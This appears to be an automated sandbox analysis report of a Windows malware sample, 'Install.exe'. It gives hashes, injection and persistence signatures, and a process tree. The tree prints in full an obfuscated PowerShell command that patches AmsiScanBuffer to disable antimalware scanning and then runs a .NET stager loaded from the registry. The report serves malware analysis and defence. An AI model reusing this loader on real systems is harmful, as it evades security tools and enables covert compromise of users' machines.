08c51db49a008bed57f54a6370e8df0f00994acf066647c8986232bf07b3d5ec

Analysis

max time kernel
77s
max time network
7s
platform
windows11-21h2_x64
resource
win11-20240709-en
resource tags

arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
submitted
20-07-2024 10:22

Sharing

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Reason

Machine shutdown

Report Analysis Logs

General

Target

Install.exe
Size

162KB
MD5

1f78e6c795dd5a5f174363bb791706a2
SHA1

80924b5502190d916ac762425dade5e7143d7377
SHA256

08c51db49a008bed57f54a6370e8df0f00994acf066647c8986232bf07b3d5ec
SHA512

d6b1afd0489c489aad516cc83466198521cd6e9ff670d6aa76bf274f01de6b25959d495c6286718961f78517ba6d6bcd335777ecd4e8cfe33a4f04f59ab83e87
SSDEEP

3072:cQps/fyjjeCg4fuJaoyXekMt/q1lau7qt5a7v+kDh4tufgLgpMj:cQps/fyjjegfuR+t1kuet5GlELgpW

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3040 created 640	3040	powershell.EXE	5

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3040 set thread context of 1272	3040	powershell.EXE	84

Modifies data under HKEY_USERS 49 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844 = "BitLocker Data Recovery Agent"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3040	powershell.EXE
3040	powershell.EXE
3040	powershell.EXE
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe
1272	dllhost.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	3040	powershell.EXE
Token: SeDebugPrivilege	3040	powershell.EXE
Token: SeDebugPrivilege	1272	dllhost.exe
Token: SeShutdownPrivilege	3292	Explorer.EXE
Token: SeCreatePagefilePrivilege	3292	Explorer.EXE
Token: SeShutdownPrivilege	3292	Explorer.EXE
Token: SeCreatePagefilePrivilege	3292	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3140	PickerHost.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3876	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 1272	3040	powershell.EXE	84
PID 3040 wrote to memory of 1272	3040	powershell.EXE	84
PID 3040 wrote to memory of 1272	3040	powershell.EXE	84
PID 3040 wrote to memory of 1272	3040	powershell.EXE	84
PID 3040 wrote to memory of 1272	3040	powershell.EXE	84
PID 3040 wrote to memory of 1272	3040	powershell.EXE	84
PID 3040 wrote to memory of 1272	3040	powershell.EXE	84
PID 3040 wrote to memory of 1272	3040	powershell.EXE	84
PID 1272 wrote to memory of 640	1272	dllhost.exe	5
PID 1272 wrote to memory of 700	1272	dllhost.exe	7
PID 1272 wrote to memory of 988	1272	dllhost.exe	12
PID 1272 wrote to memory of 424	1272	dllhost.exe	13
PID 1272 wrote to memory of 724	1272	dllhost.exe	14
PID 1272 wrote to memory of 396	1272	dllhost.exe	15
PID 1272 wrote to memory of 1052	1272	dllhost.exe	16
PID 1272 wrote to memory of 1176	1272	dllhost.exe	18
PID 1272 wrote to memory of 1184	1272	dllhost.exe	19
PID 1272 wrote to memory of 1240	1272	dllhost.exe	20
PID 1272 wrote to memory of 1248	1272	dllhost.exe	21
PID 1272 wrote to memory of 1328	1272	dllhost.exe	22
PID 1272 wrote to memory of 1348	1272	dllhost.exe	23
PID 1272 wrote to memory of 1404	1272	dllhost.exe	24
PID 1272 wrote to memory of 1472	1272	dllhost.exe	25
PID 1272 wrote to memory of 1560	1272	dllhost.exe	26
PID 1272 wrote to memory of 1572	1272	dllhost.exe	27
PID 1272 wrote to memory of 1712	1272	dllhost.exe	28
PID 1272 wrote to memory of 1740	1272	dllhost.exe	29
PID 1272 wrote to memory of 1792	1272	dllhost.exe	30
PID 1272 wrote to memory of 1816	1272	dllhost.exe	31
PID 1272 wrote to memory of 1824	1272	dllhost.exe	32
PID 1272 wrote to memory of 1840	1272	dllhost.exe	33
PID 1272 wrote to memory of 1852	1272	dllhost.exe	34
PID 1272 wrote to memory of 1940	1272	dllhost.exe	35
PID 1272 wrote to memory of 1960	1272	dllhost.exe	36
PID 1272 wrote to memory of 416	1272	dllhost.exe	37
PID 1272 wrote to memory of 2160	1272	dllhost.exe	39
PID 1272 wrote to memory of 2312	1272	dllhost.exe	40
PID 1272 wrote to memory of 2496	1272	dllhost.exe	41
PID 1272 wrote to memory of 2504	1272	dllhost.exe	42
PID 1272 wrote to memory of 2520	1272	dllhost.exe	43
PID 1272 wrote to memory of 2552	1272	dllhost.exe	44
PID 1272 wrote to memory of 2564	1272	dllhost.exe	45
PID 1272 wrote to memory of 2592	1272	dllhost.exe	46
PID 1272 wrote to memory of 2624	1272	dllhost.exe	47
PID 1272 wrote to memory of 2692	1272	dllhost.exe	48
PID 1272 wrote to memory of 2972	1272	dllhost.exe	49
PID 1272 wrote to memory of 3028	1272	dllhost.exe	50
PID 1272 wrote to memory of 3092	1272	dllhost.exe	51
PID 1272 wrote to memory of 3292	1272	dllhost.exe	52
PID 1272 wrote to memory of 3436	1272	dllhost.exe	53
PID 1272 wrote to memory of 3464	1272	dllhost.exe	54
PID 1272 wrote to memory of 3784	1272	dllhost.exe	57
PID 1272 wrote to memory of 3876	1272	dllhost.exe	58
PID 1272 wrote to memory of 3984	1272	dllhost.exe	59
PID 1272 wrote to memory of 4008	1272	dllhost.exe	60
PID 1272 wrote to memory of 4384	1272	dllhost.exe	61
PID 1272 wrote to memory of 4488	1272	dllhost.exe	62
PID 1272 wrote to memory of 5112	1272	dllhost.exe	65
PID 1272 wrote to memory of 940	1272	dllhost.exe	66
PID 1272 wrote to memory of 1908	1272	dllhost.exe	67
PID 1272 wrote to memory of 3932	1272	dllhost.exe	69
PID 1272 wrote to memory of 1556	1272	dllhost.exe	70
PID 1272 wrote to memory of 2720	1272	dllhost.exe	71
PID 1272 wrote to memory of 3128	1272	dllhost.exe	72

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:640
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:424
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{1800318d-e794-4461-b5bb-b2a5c01bcdb8}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1272
- C:\Windows\system32\wlrmdr.exe
  -s -1 -f 2 -t Your PC will automatically restart in one minute -m Windows ran into a problem and needs to restart. You should close this message now and save your work. -a 3
  2⤵
  PID:1432

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:724

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:396

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:GHRxbMvcTCpZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$FdGRrXgaeOjLdg,[Parameter(Position=1)][Type]$MKXUzVkUcb)$xfpUuzjvNNe=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'f'+'l'+''+'e'+'c'+[Char](116)+''+[Char](101)+'d'+[Char](68)+''+'e'+''+[Char](108)+'e'+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+'e'+'m'+''+'o'+'r'+[Char](121)+''+[Char](77)+'o'+'d'+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType('My'+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+'p'+''+[Char](101)+'','C'+[Char](108)+''+[Char](97)+'s'+[Char](115)+',P'+'u'+'b'+'l'+''+'i'+'c'+[Char](44)+'S'+'e'+''+'a'+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+'An'+'s'+''+[Char](105)+''+'C'+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+'l'+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$xfpUuzjvNNe.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'pe'+'c'+''+'i'+''+'a'+''+[Char](108)+'N'+[Char](97)+''+'m'+'e'+[Char](44)+''+'H'+''+'i'+'d'+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+',P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$FdGRrXgaeOjLdg).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+''+'i'+'m'+'e'+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$xfpUuzjvNNe.DefineMethod('I'+[Char](110)+''+[Char](118)+'o'+'k'+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$MKXUzVkUcb,$FdGRrXgaeOjLdg).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+'im'+[Char](101)+','+[Char](77)+''+'a'+''+'n'+''+[Char](97)+'ged');Write-Output $xfpUuzjvNNe.CreateType();}$dtqcxdeUPJXeF=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+'d'+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+'o'+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+'i'+[Char](110)+''+[Char](51)+''+'2'+''+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+'e'+''+'N'+''+[Char](97)+''+[Char](116)+'i'+'v'+''+[Char](101)+''+[Char](77)+'e'+[Char](116)+''+[Char](104)+'ods');$jCmyeacjNVoftR=$dtqcxdeUPJXeF.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+'P'+''+'r'+''+[Char](111)+''+'c'+'Ad'+'d'+''+[Char](114)+'es'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$fKlXpnnqpbjZAGzBvXE=GHRxbMvcTCpZ @([String])([IntPtr]);$NfAPVdzSgXdwzeVdySSjJD=GHRxbMvcTCpZ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$oAcOFnNCivs=$dtqcxdeUPJXeF.GetMethod(''+'G'+'e'+'t'+'M'+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')));$VpetZibFeCvqXw=$jCmyeacjNVoftR.Invoke($Null,@([Object]$oAcOFnNCivs,[Object](''+[Char](76)+'oad'+'L'+''+'i'+''+[Char](98)+'r'+[Char](97)+'r'+[Char](121)+''+'A'+'')));$DVTLramvSAfaUAQSl=$jCmyeacjNVoftR.Invoke($Null,@([Object]$oAcOFnNCivs,[Object](''+[Char](86)+''+[Char](105)+''+'r'+'t'+[Char](117)+''+'a'+''+[Char](108)+'P'+[Char](114)+'o'+[Char](116)+''+'e'+''+'c'+''+[Char](116)+'')));$IwFQlYq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VpetZibFeCvqXw,$fKlXpnnqpbjZAGzBvXE).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i.'+[Char](100)+''+'l'+'l');$UDldUbdSIbUOsznPp=$jCmyeacjNVoftR.Invoke($Null,@([Object]$IwFQlYq,[Object]('A'+[Char](109)+'s'+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+'uf'+[Char](102)+''+[Char](101)+'r')));$sidRtilLRn=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DVTLramvSAfaUAQSl,$NfAPVdzSgXdwzeVdySSjJD).Invoke($UDldUbdSIbUOsznPp,[uint32]8,4,[ref]$sidRtilLRn);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$UDldUbdSIbUOsznPp,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DVTLramvSAfaUAQSl,$NfAPVdzSgXdwzeVdySSjJD).Invoke($UDldUbdSIbUOsznPp,[uint32]8,0x20,[ref]$sidRtilLRn);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+'R'+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+''+'7'+''+'s'+'t'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1248

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1404
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1560

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1960

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2160

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Modifies data under HKEY_USERS
PID:2520

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2552

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3028

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3092

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3292
- C:\Users\Admin\AppData\Local\Temp\Install.exe
  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
  2⤵
  PID:2392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3464

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3784

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3876

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4008

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:3932

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:1556

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
